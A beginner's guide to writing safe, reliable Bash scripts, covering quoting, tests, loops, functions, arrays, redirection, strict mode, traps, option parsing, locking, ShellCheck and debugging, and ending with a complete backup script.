A Bash script you can trust has five properties: it names its interpreter, it quotes what it expands, it checks what it was given, it cleans up after itself, and it tells its caller whether it worked. Everything in this guide builds toward those five, in the order a beginner meets them. The examples assume Bash 5.2 on Debian 12, and each one says where a different shell or an older Bash behaves differently.
\n\nThe guide has six parts. The first gets a script running. The second covers variables and the quoting rules that decide whether a script is safe. The third covers tests, loops and functions. The fourth covers input, output and exit codes. The fifth covers the safety settings and cleanup. The last assembles a complete backup script from every earlier piece. If the target is a script that runs unchanged on Alpine or BusyBox, read the guide to portable shell scripts after this one, because several features below are Bash only.
\n\nA shell script is a text file of commands that the shell reads from top to bottom. Nothing is compiled. The shell parses one command line at a time, expands it, runs it and moves on. That explains most of what surprises beginners: a typo on line 40 does not stop line 1 from running, a variable holds text and nothing else, and a command that fails does not stop the script unless something tells it to.
\nBash is both an interactive shell and a scripting language. Everything you type at a prompt works in a script, which is why the best way to learn is to build the script out of commands you already run by hand. The reference for every feature is the GNU Bash Reference Manual, and the portable subset is defined in the POSIX Shell Command Language.
\n\nCreate a file called hello.sh with an editor and put these lines in it.
#!/usr/bin/env bash\necho \"Hello from $(hostname)\"\ndate +%F\nThe first line is the shebang. When the kernel is asked to execute the file, it reads those two bytes, sees #! and starts the named program with the file as its argument. Using /usr/bin/env bash finds Bash wherever it is installed, which matters on macOS and BSD systems where it is not at /bin/bash. The $(...) form is command substitution: the shell runs the command and replaces the expression with its output.
chmod +x hello.sh\n./hello.sh\nHello from build01\n2026-11-05\nWithout the executable bit, ./hello.sh fails with Permission denied. You can still run it as bash hello.sh, which ignores the bit and the shebang. When a script behaves differently from the command line, the two ways of starting it are the first thing to compare.
Assign with no spaces around the equals sign and read with a dollar sign. Spaces around = make Bash treat the name as a command, which produces command not found.
name=\"release notes\"\ncount=3\necho \"$name has $count items\"\necho \"${name}_v2\"\nrelease notes has 3 items\nrelease notes_v2\nThe braces in ${name}_v2 mark where the name ends. Without them Bash would look for a variable called name_v2. Every variable is a string; count=3 is the character 3 until an arithmetic context reads it as a number. Names are case sensitive, and the convention is lowercase for variables inside a script and uppercase for environment variables that other programs read, such as PATH and HOME.
This is the rule that separates working scripts from scripts that work until a filename contains a space. After expanding an unquoted variable, Bash splits the result on whitespace and then treats each piece as a glob pattern. That is called word splitting and pathname expansion, and it is almost never what you want.
\nfile=\"my notes.txt\"\ntouch \"$file\"\nrm $file\nrm: cannot remove 'my': No such file or directory\nrm: cannot remove 'notes.txt': No such file or directory\nThe unquoted $file became two arguments. With a variable that held * or a path with a leading dash, the damage is worse than an error message. Double quotes keep the value as one word and still allow expansion. Single quotes prevent all expansion and are right for literal text such as a regular expression. The full treatment of how quoting breaks and how attackers use it is in the shell script security guide.
Bash gives every script a handful of built-in values. $0 is the script name. $1 to $9, and ${10} onward, are the arguments. $# is how many arguments there are. $? is the exit status of the last command. $$ is the process ID of the shell. $@ and $* are all the arguments, and the difference between them matters.
#!/usr/bin/env bash\nprintf 'count=%s\\n' \"$#\"\nprintf 'arg: [%s]\\n' \"$@\"\n$ ./args.sh one \"two words\" three\ncount=3\narg: [one]\narg: [two words]\narg: [three]\n\"$@\" expands to each argument as its own quoted word, so the argument with a space survives. \"$*\" joins them into one string. Use \"$@\" whenever you forward arguments to another command, which is nearly always. The unquoted forms of both behave the same and both are wrong.
Parameter expansion has operators for the cases scripts meet constantly. ${var:-default} substitutes a default when the variable is unset or empty. ${var:=default} also assigns it. ${var:?message} aborts with a message when the variable is missing, which is the shortest way to demand a required input.
#!/usr/bin/env bash\ntarget=\"${1:?usage: deploy.sh TARGET [BRANCH]}\"\nbranch=\"${2:-main}\"\necho \"deploying $branch to $target\"\n$ ./deploy.sh\n./deploy.sh: line 2: 1: usage: deploy.sh TARGET [BRANCH]\n$ ./deploy.sh staging\ndeploying main to staging\nOther operators trim text. ${path##*/} removes the longest prefix matching */, which leaves the file name. ${file%.txt} removes the shortest suffix, which strips an extension. ${var^^} upper cases and ${var,,} lower cases. These run inside the shell with no extra process, so they are faster than calling basename or tr in a loop.
Use $(command) to capture output and $(( expression )) for integer arithmetic. Prefer $(...) over backticks because it nests and does not need escaping. Trailing newlines are stripped from the captured output.
today=$(date +%F)\nfiles=$(ls | wc -l)\necho \"$today: $files entries, next is $(( files + 1 ))\"\n(( files > 10 )) && echo \"busy directory\"\nArithmetic is integer only. Division truncates, and (( )) returns success when the result is non-zero, so it doubles as a numeric test. For decimals, hand the work to awk or bc; the grep, sed and awk guide shows the awk idiom. Counting entries with ls | wc -l miscounts names that contain newlines, which is why later sections use arrays and globs instead of parsing ls.
Every command returns a number from 0 to 255 when it finishes. Zero means success. Anything else means some kind of failure, and the meaning is defined by the command. grep returns 0 for a match, 1 for no match and 2 for an error, so \"no match\" is not an error condition unless you decide it is.
grep -q root /etc/passwd; echo \"exit=$?\"\ngrep -q nosuchuser /etc/passwd; echo \"exit=$?\"\ngrep -q root /etc/missing; echo \"exit=$?\"\nexit=0\nexit=1\ngrep: /etc/missing: No such file or directory\nexit=2\nYour own scripts should follow the same convention. End with exit 0 for success and a small positive number for each distinct failure you want a caller to tell apart. Avoid numbers above 125, which the shell reserves: 126 means the command was found but not executable, 127 means not found, and 128 plus N means the process died from signal N. A caller reading $? is the entire interface between a script and cron, a CI job or another script.
if runs a command and branches on its exit status. The command is very often [[, which evaluates a condition and returns 0 or 1. In Bash, prefer the double-bracket form because it does not word split, accepts pattern and regex matching, and does not need quotes on the left side.
if [[ -f \"$config\" && -r \"$config\" ]]; then\n echo \"using $config\"\nelif [[ -z \"$config\" ]]; then\n echo \"no config given\"\nelse\n echo \"cannot read $config\" >&2\n exit 1\nfi\nThe file tests you will use constantly are -e exists, -f regular file, -d directory, -r readable, -w writable, -x executable, -s non-empty, and -L symlink. The string tests are -z empty, -n non-empty, == and !=. The numeric tests are -eq, -ne, -lt, -le, -gt and -ge, because < inside [[ ]] compares strings and \"10\" < \"9\" is true. For numbers, use (( a < b )) instead.
The single bracket [ is a real program-like builtin that receives its arguments after expansion. That makes it portable and also fragile: an empty unquoted variable disappears, and [ $x = y ] becomes [ = y ], a syntax error. The double bracket is parsed before expansion, so none of that applies.
| Feature | [ ] | [[ ]] |
|---|---|---|
| Works in POSIX sh and dash | Yes | No |
| Needs quotes around variables | Yes | No |
Pattern match with == | No | Yes |
Regex with =~ | No | Yes |
&& and || inside | Use -a and -o, which are ambiguous | Yes |
Choose by the shebang. A Bash script gets [[ ]]. A script that must run under #!/bin/sh gets [ ] with every variable quoted and uses case for pattern matching.
Inside [[ ]], an unquoted right-hand side of == is a glob pattern, and the right-hand side of =~ is an extended regular expression. Captured groups land in the BASH_REMATCH array. Keep the regex in a variable to avoid quoting problems.
version=\"release-2.14.7\"\nre='^release-([0-9]+)\\.([0-9]+)\\.([0-9]+)$'\nif [[ $version =~ $re ]]; then\n echo \"major=${BASH_REMATCH[1]} minor=${BASH_REMATCH[2]} patch=${BASH_REMATCH[3]}\"\nfi\n[[ $version == release-* ]] && echo \"looks like a release\"\nmajor=2 minor=14 patch=7\nlooks like a release\nQuoting the regex variable on the right side turns it into a literal string match, which is the most common reason a working regex stops matching. The full dialect differences between grep, sed, awk and Bash are covered in the guide to regular expressions in shell tools.
\n\ncase matches one value against several glob patterns and is clearer than a ladder of elif. Each branch ends with ;;, and patterns can be joined with |. It is also portable to every POSIX shell, so it is the right tool for argument parsing in scripts that cannot assume Bash.
case \"$1\" in\n start|up) echo \"starting\" ;;\n stop) echo \"stopping\" ;;\n status) echo \"checking\" ;;\n *) echo \"usage: $0 {start|stop|status}\" >&2; exit 2 ;;\nesac\nThe final *) branch is the default and should always exist in a script that takes input, because falling off the end of a case silently is how a typo in an argument becomes a no-op that exits 0.
A for loop iterates over words. Give it a quoted array or a glob, never the output of ls. A glob that matches nothing stays as the literal pattern unless nullglob is set, so test for it.
shopt -s nullglob\nfor f in /var/log/*.log; do\n size=$(stat -c %s \"$f\")\n printf '%8d %s\\n' \"$size\" \"$f\"\ndone\nThe C-style loop for ((i = 0; i < 5; i++)) is useful for counters. A while loop runs while a command succeeds, and until runs until one does. Use break to leave a loop and continue to skip to the next pass. Both accept a number to leave several nested loops at once, though a function is usually a clearer way to escape deep nesting.
The reliable idiom for reading lines is while IFS= read -r line. Clearing IFS keeps leading and trailing whitespace, and -r stops read from treating a backslash as an escape. Feed the loop with a redirection, not a pipe, so the loop runs in the current shell and its variables survive.
count=0\nwhile IFS= read -r line; do\n [[ -z $line || $line == \\#* ]] && continue\n count=$(( count + 1 ))\n echo \"entry $count: $line\"\ndone < hosts.txt\necho \"total $count\"\nentry 1: web01\nentry 2: web02\nentry 3: db01\ntotal 3\nWritten as cat hosts.txt | while read ..., the loop runs in a subshell and count is still 0 afterwards. This is among the most reported Bash surprises, and the fix is the redirection above or, when the data comes from a command, process substitution: done < <(some_command). A last line with no trailing newline is skipped by read; add || [[ -n $line ]] to the loop condition if the file may lack one.
A function groups commands under a name. Arguments arrive as $1, $2 inside it, separate from the script's own. A function returns an exit status with return, and outputs text by printing it, which the caller captures with $(...). Variables are global by default, so declare working variables with local.
log() {\n local level=\"$1\"; shift\n printf '%s [%s] %s\\n' \"$(date +%T)\" \"$level\" \"$*\" >&2\n}\n\nrequire() {\n command -v \"$1\" >/dev/null 2>&1 || { log ERROR \"missing tool: $1\"; return 1; }\n}\n\nrequire rsync || exit 1\nlog INFO \"rsync found\"\n14:02:11 [INFO] rsync found\nNotice that log writes to standard error. Diagnostics belong there, so that the standard output of a script stays clean enough to pipe into the next command. Functions must be defined before the line that calls them runs, so put them at the top and the main logic at the bottom.
A function has two channels: its exit status and its output. Use the status for success or failure, as above, and use output for data. Do not smuggle data through a global variable when output will do, because command substitution is easier to read and test. The one trade-off is that $(...) runs the function in a subshell, so side effects such as setting a variable do not escape. When a function must set variables in the caller, use declare -n name references, available since Bash 4.3.
split_host() {\n local -n _host=\"$2\" _port=\"$3\"\n _host=\"${1%%:*}\"\n _port=\"${1##*:}\"\n}\nsplit_host \"db01.internal:5432\" h p\necho \"host=$h port=$p\"\nhost=db01.internal port=5432\nAn array holds a list of separate strings, and it is the correct answer to \"how to store several things without word splitting\". Assign with parentheses, read one element with an index, and expand the whole list with \"${arr[@]}\", always quoted.
servers=(web01 web02 \"db 01\")\nservers+=(cache01)\necho \"${#servers[@]} servers, first is ${servers[0]}\"\nfor s in \"${servers[@]}\"; do\n printf '[%s]\\n' \"$s\"\ndone\necho \"${servers[@]:1:2}\"\n4 servers, first is web01\n[web01]\n[web02]\n[db 01]\n[cache01]\nweb02 db 01\nThe element with a space stays one element because of the quotes. Building a command in an array and running it as \"${cmd[@]}\" is the safe replacement for assembling a command in a string and passing it to eval. Arrays do not exist in POSIX sh, so a script that must run under dash cannot use them.
Bash 4 added associative arrays, which map string keys to values. Declare them with declare -A; Bash 3.2, still shipped by macOS, does not have them.
declare -A port=([http]=80 [https]=443 [ssh]=22)\nport[postgres]=5432\nfor name in \"${!port[@]}\"; do\n printf '%-10s %s\\n' \"$name\" \"${port[$name]}\"\ndone | sort\nhttp 80\nhttps 443\npostgres 5432\nssh 22\nKeys come back in no particular order, so sort when the order matters. Use [[ -v port[ssh] ]] to test whether a key exists, which is different from the value being non-empty.
Every process starts with three open files: standard input (0), standard output (1) and standard error (2). Redirection rewires them. > truncates and writes, >> appends, < reads, 2> redirects errors, and 2>&1 sends errors to wherever output currently goes. Order matters: cmd > file 2>&1 captures both, while cmd 2>&1 > file sends errors to the terminal.
./job.sh > job.log 2>&1\n./job.sh >> job.log 2> errors.log\n./job.sh &> job.log\n./job.sh < input.txt > /dev/null\nThe &> form is a Bash shortcut for the first line. A here document supplies multiline input without a temporary file: cat <<'EOF' with a quoted delimiter disables expansion inside, while an unquoted delimiter expands variables. The same redirections are the foundation of the debugging techniques in the guide to debugging shell scripts.
A pipe connects the output of one command to the input of the next, and every stage runs at the same time. This is what makes small tools composable. The pipeline's exit status is, by default, the status of the last command only, so a failure in the middle is invisible.
\nfalse | true; echo \"status=$?\"\nset -o pipefail\nfalse | true; echo \"status=$?\"\nstatus=0\nstatus=1\nWith pipefail the pipeline returns the status of the rightmost command that failed. The PIPESTATUS array holds the status of every stage if you need to know which one broke. One quirk to learn early: grep -q exits as soon as it finds a match, which can close the pipe and kill the producer with SIGPIPE, so a producer that is not finished can report failure under pipefail even though the search succeeded.
Three options change a script from permissive to careful. set -u makes an unset variable an error, which catches typos like $fiel. set -o pipefail is the pipeline behavior above. set -e exits when a command fails. The first two are almost always a good idea. The third is more complicated than its name suggests.
#!/usr/bin/env bash\nset -euo pipefail\n\necho \"start\"\nfalse && echo \"not reached\"\necho \"after the AND list\"\nif false; then :; fi\necho \"after the if\"\nfalse\necho \"never printed\"\nstart\nafter the AND list\nafter the if\nset -e ignores a failure that is part of an && or || list (except the last command), a failure in an if or while condition, and a command preceded by !. It also does not fire inside a command substitution used as an argument in some contexts, and a failure inside a function called from a condition is ignored. The consequence is that a script can have set -e and still print \"done\" after a failure. Pair it with explicit checks on the commands that matter, and read the full list of exceptions in the manual's description of the set builtin.
Where a failure is expected, say so. || true declares that a command may fail. || followed by a block handles the failure with a message. Define a die helper once and use it everywhere so every failure has the same shape.
die() { printf 'error: %s\\n' \"$*\" >&2; exit 1; }\n\ncd \"$workdir\" || die \"cannot enter $workdir\"\ngrep -q \"$pattern\" \"$file\" || echo \"pattern absent, continuing\"\nmkdir -p \"$out\" || die \"cannot create $out\"\nThe pattern cd dir || die deserves a habit of its own. A failed cd followed by rm -rf * is a classic way to delete the wrong directory, and ShellCheck flags the unguarded form as SC2164.
A trap runs a command when the shell receives a signal or exits. The EXIT pseudo-signal fires on normal exit, on exit called after an error, and on SIGINT or SIGTERM once the handler is installed for them. It is the right place to delete temporary files.
tmp=$(mktemp -d) || exit 1\ncleanup() {\n rm -rf -- \"$tmp\"\n}\ntrap cleanup EXIT\ntrap 'exit 130' INT\ntrap 'exit 143' TERM\n\necho \"working in $tmp\"\nsleep 30\nPressing Ctrl-C sends SIGINT, the trap calls exit 130, and the EXIT trap runs cleanup. Always make the temporary directory with mktemp, never with a fixed name like /tmp/work, which another user or process can pre-create. SIGKILL cannot be trapped, so a script killed with kill -9 leaves its files behind; design cleanup so that a second run can recover from that.
getopts is a builtin for short options and works in POSIX sh. The option string lists the letters, and a colon after a letter means the option takes a value. A leading colon turns on silent error handling so you can print your own messages.
verbose=0; out=\"backup.tar.gz\"\nwhile getopts \":vo:h\" opt; do\n case \"$opt\" in\n v) verbose=1 ;;\n o) out=\"$OPTARG\" ;;\n h) echo \"usage: $0 [-v] [-o file] dir...\"; exit 0 ;;\n :) echo \"option -$OPTARG needs a value\" >&2; exit 2 ;;\n \\?) echo \"unknown option -$OPTARG\" >&2; exit 2 ;;\n esac\ndone\nshift $(( OPTIND - 1 ))\necho \"verbose=$verbose out=$out dirs=$#\"\n$ ./pack.sh -v -o /tmp/x.tgz src docs\nverbose=1 out=/tmp/x.tgz dirs=2\nAfter the loop, shift $(( OPTIND - 1 )) removes the parsed options so \"$@\" holds only the remaining arguments. getopts does not understand long options such as --output. For those, write a while [[ $# -gt 0 ]] loop with a case, or use the external getopt from util-linux, which is not available on every system.
Most destructive scripting accidents involve a path. A few habits remove most of the risk. Put -- before filenames to stop a name beginning with a dash being read as an option. Use mktemp for temporary files. Resolve the script's own location rather than assuming the current directory. Prefer globs over parsing ls, and use find ... -print0 with read -d '' when names might contain newlines.
script_dir=$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" && pwd)\nrm -f -- \"$tmp/partial.tar\"\nfind \"$dir\" -type f -name '*.log' -mtime +30 -print0 |\n while IFS= read -r -d '' f; do\n echo \"old: $f\"\n done\nDeleting with a variable that might be empty, as in rm -rf \"$dir/\"*, removes everything under the root when dir is unset. The expansion \"${dir:?}\" aborts instead, and set -u does the same job for the whole script.
Add & to run a command in the background, record its PID in $! and use wait to collect its exit status. A bounded number of parallel jobs is a safer pattern than launching hundreds at once.
pids=()\nfor host in web01 web02 web03; do\n ssh -o BatchMode=yes \"$host\" uptime > \"out.$host\" 2>&1 &\n pids+=($!)\ndone\nfail=0\nfor pid in \"${pids[@]}\"; do\n wait \"$pid\" || fail=$(( fail + 1 ))\ndone\necho \"$fail host(s) failed\"\nWaiting on each PID separately is what lets the script see each exit status. A bare wait with no arguments returns 0 regardless of the jobs. For real fan-out with a concurrency limit, xargs -P is simpler than hand-rolled job control. SSH specifics such as BatchMode are in the SSH guide.
A script started by cron or a CI runner has no terminal, a minimal PATH and often a different working directory, user and locale. Set what you depend on at the top, log to a file with timestamps, and use a lock to stop two copies running at once. flock from util-linux does that in one line.
#!/usr/bin/env bash\nset -euo pipefail\nPATH=/usr/local/bin:/usr/bin:/bin\nexec 9>/var/lock/nightly.lock\nflock -n 9 || { echo \"already running\" >&2; exit 0; }\ncd \"$(dirname \"$0\")\"\n./sync.sh\nHolding file descriptor 9 open keeps the lock until the script exits, and the kernel releases it even if the script is killed. Everything about scheduling such a script is in the guide to cron and systemd timers.
\n\nShellCheck reads a script without running it and reports the mistakes this guide has described: unquoted variables (SC2086), a missing guard after cd (SC2164), reading ls output (SC2012) and useless use of cat (SC2002). On Debian 12 the package is shellcheck 0.9.0.
shellcheck deploy.sh\nIn deploy.sh line 7:\nrm -rf $target/*\n ^-- SC2086 (info): Double quote to prevent globbing and word splitting.\nRun it in your editor and in CI. When a warning is wrong for a specific line, silence that one line with a disable comment that carries a reason, rather than switching the check off for the file. The testing workflow around it, including Bats, is in the guide to testing shell scripts.
This script uses every earlier idea: a shebang, strict settings, a required argument, a default, option parsing, quoting, a temporary directory with a trap, a function, a lock, logging to standard error and meaningful exit codes. It archives a directory, checks the archive, and rotates old ones.
\n#!/usr/bin/env bash\n# backup.sh [-k KEEP] [-d DEST] SOURCE\nset -euo pipefail\n\nkeep=7\ndest=\"$HOME/backups\"\n\nlog() { printf '%s %s\\n' \"$(date +%T)\" \"$*\" >&2; }\ndie() { log \"error: $*\"; exit 1; }\n\nwhile getopts \":k:d:\" opt; do\n case \"$opt\" in\n k) keep=\"$OPTARG\" ;;\n d) dest=\"$OPTARG\" ;;\n *) die \"usage: $0 [-k KEEP] [-d DEST] SOURCE\" ;;\n esac\ndone\nshift $(( OPTIND - 1 ))\n\nsource_dir=\"${1:?usage: $0 [-k KEEP] [-d DEST] SOURCE}\"\n[[ -d $source_dir ]] || die \"not a directory: $source_dir\"\n[[ $keep =~ ^[0-9]+$ ]] || die \"KEEP must be a number\"\n\nmkdir -p -- \"$dest\"\nexec 9>\"$dest/.lock\"\nflock -n 9 || die \"another backup is running\"\n\ntmp=$(mktemp -d)\ntrap 'rm -rf -- \"$tmp\"' EXIT\n\nname=\"$(basename -- \"$source_dir\")-$(date +%Y%m%d-%H%M%S).tar.gz\"\nlog \"archiving $source_dir\"\ntar -czf \"$tmp/$name\" -C \"$(dirname -- \"$source_dir\")\" -- \"$(basename -- \"$source_dir\")\"\ntar -tzf \"$tmp/$name\" >/dev/null || die \"archive failed verification\"\nmv -- \"$tmp/$name\" \"$dest/$name\"\nlog \"wrote $dest/$name\"\n\nmapfile -t old < <(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$(( keep + 1 ))\")\nfor f in \"${old[@]}\"; do\n [[ -n $f ]] || continue\n log \"removing $f\"\n rm -f -- \"$f\"\ndone\n$ ./backup.sh -k 3 -d /tmp/bk ~/project\n10:41:07 archiving /home/dev/project\n10:41:07 wrote /tmp/bk/project-20261105-104107.tar.gz\nThe temporary archive is built outside the destination and moved in only after verification, so a crash mid-write never leaves a half-finished file where the next restore will look for a good one. The final rotation uses ls -t on files whose names the script itself created, which is one of the few safe uses of parsing ls. For names you do not control, use find with -print0.
A plain assignment creates a shell variable that only the current shell can see. export copies it into the environment, which every child process inherits. This is why PATH works for every program you start and why a variable you set in a script does not appear in the terminal that launched it: the child's environment is a copy, and nothing flows back to the parent.
name=local-only\nexport shared=visible\nbash -c 'echo \"name=[$name] shared=[$shared]\"'\nLC_ALL=C sort names.txt\nname=[] shared=[visible]\nPrefixing a command with VAR=value sets the variable for that one command only, which is the clean way to change the locale or a tool's configuration without leaking it into the rest of the script. Scripts that read configuration from the environment should document each variable at the top and give it a default with ${VAR:-default}, so that running with an empty environment still does something sensible.
A subshell is a child copy of the shell. Parentheses create one explicitly, as does a pipeline stage and a command substitution. Changes made inside it, including variable assignments and cd, vanish when it ends. That is useful when you want a temporary directory change without undoing it afterwards.
pwd\n( cd /tmp && pwd )\npwd\ntotal=0\nprintf '1\\n2\\n3\\n' | while read -r n; do total=$(( total + n )); done\necho \"total=$total\"\n/home/dev\n/tmp\n/home/dev\ntotal=0\nThe last two lines repeat the pipeline surprise from the file-reading section in a form you can run in ten seconds. Braces, { ...; }, group commands without creating a subshell, which is how the || { log ERROR \"...\"; return 1; } pattern earlier groups two commands under one condition. Bash 4.2 and later also offer shopt -s lastpipe, which runs the last stage of a pipeline in the current shell when job control is off, as it is in scripts.
A here document feeds literal multiline text to a command's standard input. With an unquoted delimiter, variables and command substitutions expand inside it. With a quoted delimiter, nothing does. A leading dash on the operator, <<-, strips leading tabs so the block can be indented with the surrounding code.
user=deploy\ncat <<EOF > /tmp/unit.conf\n[service]\nUser=$user\nExecStart=/usr/local/bin/app --home=\\$HOME\nEOF\n\ngrep -c service <<< \"$(cat /tmp/unit.conf)\"\nThe <<< operator is a here string, which passes one string as standard input without the echo \"$x\" | pipe. Because it avoids a pipeline, the receiving command runs in the current shell when it is a builtin such as read. Use a quoted delimiter, <<'EOF', whenever the text contains dollar signs that must stay literal, such as a generated script or a systemd unit with shell syntax in it.
The form <(command) runs a command and gives its output a file name that other commands can open. It lets you compare two commands' output without temporary files, and it keeps a loop in the current shell while reading from a command.
diff <(sort a.txt) <(sort b.txt)\nwhile IFS= read -r user; do\n echo \"login shell for $user\"\ndone < <(cut -d: -f1 /etc/passwd | head -3)\nThe file name is typically /dev/fd/63, a pipe, so the consumer reads it once and cannot seek. A tool that needs to read its input twice or measure its size will not work with it. Process substitution is a Bash, Zsh and Ksh feature; dash and BusyBox ash do not have it.
Two different expansions share similar syntax. Braces generate strings before anything else happens: {a,b,c}, {1..5} and {01..10} expand whether or not matching files exist. Globs match existing files: *, ? and [a-c]. With shopt -s extglob you also get patterns like !(*.bak) and +(digit), and with shopt -s globstar, ** descends into directories.
mkdir -p /tmp/site/{css,js,img}\ntouch /tmp/site/{a,b}.html\nshopt -s globstar nullglob\nfor f in /tmp/site/**/*.html; do echo \"$f\"; done\ncp config.yml{,.bak}\nThe last line expands to cp config.yml config.yml.bak, a handy idiom for a quick backup. Remember that a glob that matches nothing is passed through unchanged by default, so rm *.tmp in an empty directory reports an error about a file literally named *.tmp. Set nullglob to make it expand to nothing, and check the array length before using the result.
read takes a line from standard input and splits it into variables. A prompt with -p, a silent mode with -s for secrets and a timeout with -t cover interactive scripts. A script that may also run unattended should check whether it has a terminal first.
if [[ -t 0 ]]; then\n read -r -p \"Delete $target? [y/N] \" answer\nelse\n answer=n\nfi\n[[ $answer == [yY]* ]] || { echo \"aborted\"; exit 1; }\nread -r -s -p \"Token: \" token; echo\nThe test -t 0 is true when standard input is a terminal. Defaulting to \"no\" when there is none stops a destructive step from running from cron on a guess. Never put a secret on the command line as an argument, because it is visible to every user through the process list; read it from a prompt, a file with tight permissions or an environment variable instead.
Bash can slice and edit strings without calling external programs. ${#var} is the length, ${var:2:5} is five characters from offset two, and ${var/old/new} replaces the first match while ${var//old/new} replaces all of them. For lists of words, set IFS and use read -ra to split into an array.
s=\"alpha,beta,gamma\"\necho \"${#s} ${s:6:4} ${s//,/ | }\"\nIFS=, read -ra parts <<< \"$s\"\nprintf '%s\\n' \"${parts[@]}\"\n16 beta alpha | beta | gamma\nalpha\nbeta\ngamma\nAssigning IFS=, in front of read applies only to that command. Changing IFS globally is a common source of bugs in the lines that follow it, so avoid it unless you restore the old value.
When two scripts need the same helpers, put them in a file and load it with source (or the portable .). The file runs in the current shell, so its functions and variables become available. Locate it relative to the script, so it works from any directory.
script_dir=$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" && pwd)\n# shellcheck source=lib/common.sh\nsource \"$script_dir/lib/common.sh\"\nlog INFO \"library loaded\"\nThe comment above the source line is a directive for ShellCheck, which otherwise cannot follow a path built from a variable. A library should only define functions and constants, not run commands, and should avoid set -e or exit of its own, because those would change the behavior of whichever script loads it.
GNU date formats and parses times. date +%F prints an ISO date, date -d '2 days ago' +%F does date arithmetic, and date +%s prints seconds since the epoch, which is the easiest form for measuring a duration. Bash itself has printf '%(%F)T' -1 for formatting the current time without starting a process, and a built-in SECONDS variable that counts since the shell started.
start=$(date +%s)\nsleep 2\nelapsed=$(( $(date +%s) - start ))\necho \"took ${elapsed}s, run at $(date -d @\"$start\" +%FT%T%z)\"\nprintf 'now: %(%F %T)T\\n' -1\nBSD and macOS date use -v instead of -d for arithmetic, so a script that computes dates is not portable between them without a wrapper. Store timestamps in UTC with an explicit offset when a script's output is read by other systems.
Scripts live longer than the afternoon they were written in. A few conventions cost nothing and make a script easier to change safely. Put set -euo pipefail and configuration at the top. Define functions next, then a main function that holds the flow, and end the file with main \"$@\", so the script reads top to bottom as a table of contents. Use lowercase for locals and uppercase for constants and environment. Indent with two spaces. Keep lines under 80 characters by breaking at a pipe or &&, with the operator at the end of the line so Bash knows the command continues.
Write comments that explain why. A comment that says \"loop over files\" above a loop over files is noise, while one that says \"tar exits 1 when a file changes during the read, which is fine here\" saves the next person an hour. Name variables for what they hold, such as backup_dir instead of d. When a function is longer than a screen, split it. When a script passes 200 lines, ask whether the next section of this guide applies.
A script that fails halfway will be run again, by you, by cron or by a retry in a CI system. If the second run breaks because the first one already created a directory, added a line to a file or moved a file, the failure is in the script. The property you want is idempotence: running it twice leaves the system in the same state as running it once. Use mkdir -p instead of mkdir, ln -sfn instead of ln -s, and rm -f where absence is fine. Before appending a line to a file, check whether it is already there with grep -qxF.
line='export PATH=\"$HOME/bin:$PATH\"'\ngrep -qxF -- \"$line\" ~/.profile || printf '%s\\n' \"$line\" >> ~/.profile\nln -sfn \"$release_dir\" /srv/app/current\nThe second command swaps a symlink to a new release directory. Swapping the link is close to atomic on the same filesystem, which is why deploy scripts use it. Combine that with the lock from the unattended-scripts section and a second run either waits or exits cleanly.
\n\nRun bash -n script.sh to check syntax without executing anything. Run bash -x script.sh to print every command after expansion with a leading plus sign, which is the fastest way to see what a quoted or unquoted variable became. The trace prefix is controlled by PS4.
bash -n backup.sh && echo \"syntax ok\"\nbash -x backup.sh -k 3 /tmp/demo\nsyntax ok\n+ keep=7\n+ dest=/home/dev/backups\nTo see the file and line next to each command, assign PS4 inside the script, for example PS4='+ ${BASH_SOURCE##*/}:${LINENO}: ' before set -x. On Bash 5.2.15 in Debian 12, exporting PS4 in the environment before launching bash -x did not change the prefix, while assigning it inside the script did, so set it in the script.
You can also turn tracing on for part of a script with set -x and off with set +x. For problems that tracing cannot show, such as a command hanging or a file that is never opened, the next tools are strace and a debugger-style approach, covered in the debugging guide. Until then, an echo before a destructive command that prints what it is about to do costs nothing and catches most mistakes.
A short catalogue of what beginners hit, each paired with the fix.
\nx = 1 runs a command called x. Write x=1.rm $f splits and globs. Write rm -- \"$f\".if [ $? -eq 0 ] after a command is noise. Write if command; then.while and expecting variables to survive. The loop is a subshell. Redirect from a file or use process substitution.for f in $(ls). It breaks on spaces. Use for f in *.< in [[ ]]. That compares strings. Use (( a < b )) or -lt.cd can fail. Write cd dir || exit 1.BASH_SOURCE instead.Most of these are caught by ShellCheck. The ones that are not, such as the subshell loop, are the reason to understand the model rather than only follow rules.
\n\nBash is the right tool when the work is mostly running other programs, moving files and connecting outputs to inputs. It is the wrong tool when the script needs real data structures, structured parsing of JSON or XML, a long-lived process, numeric work beyond integers, or tests that take a day to write. A rough marker is a script past 200 lines that is growing nested arrays and string escaping, or one that needs to run on Windows. In those cases a Python or Go program is cheaper to maintain, and the move is a staged rewrite, not a leap. The Linux command line guide covers the commands a script leans on, and it is worth reading before deciding that a script needs replacing.
\n\nAlpine, BusyBox and minimal containers. These images ship ash, with no arrays, no [[, no local in some builds and no process substitution. Write POSIX sh, use case for matching, and read the portable shell guide linked above.
macOS. The system Bash is 3.2, from 2007, so associative arrays, mapfile, ${var^^} and name references do not exist there. Install a current Bash with Homebrew and use #!/usr/bin/env bash so the newer one is found, or avoid those features.
Scripts that handle untrusted input. Anything that processes data from users, uploads or the network needs the extra care in the security guide, since quoting alone does not stop injection through eval, option smuggling or unsafe temporary files.
Large data work. A loop that reads a million lines with read is slow because each iteration is interpreted. Use awk, sort or a real language for bulk text.
With scripts running, the next skills are understanding the commands they call, finding why they misbehave and proving they keep working. Start with the Linux command line guide for the toolset, then the debugging guide for set -x, PS4 and strace, and the testing guide for putting a safety net under a script before you change it.
Primary sources used here: the Bash Reference Manual, the POSIX shell language specification, the parameter expansion section, the conditional constructs section, the flock manual page, the mktemp manual page, the signal manual page, the GNU coreutils manual and the ShellCheck wiki.
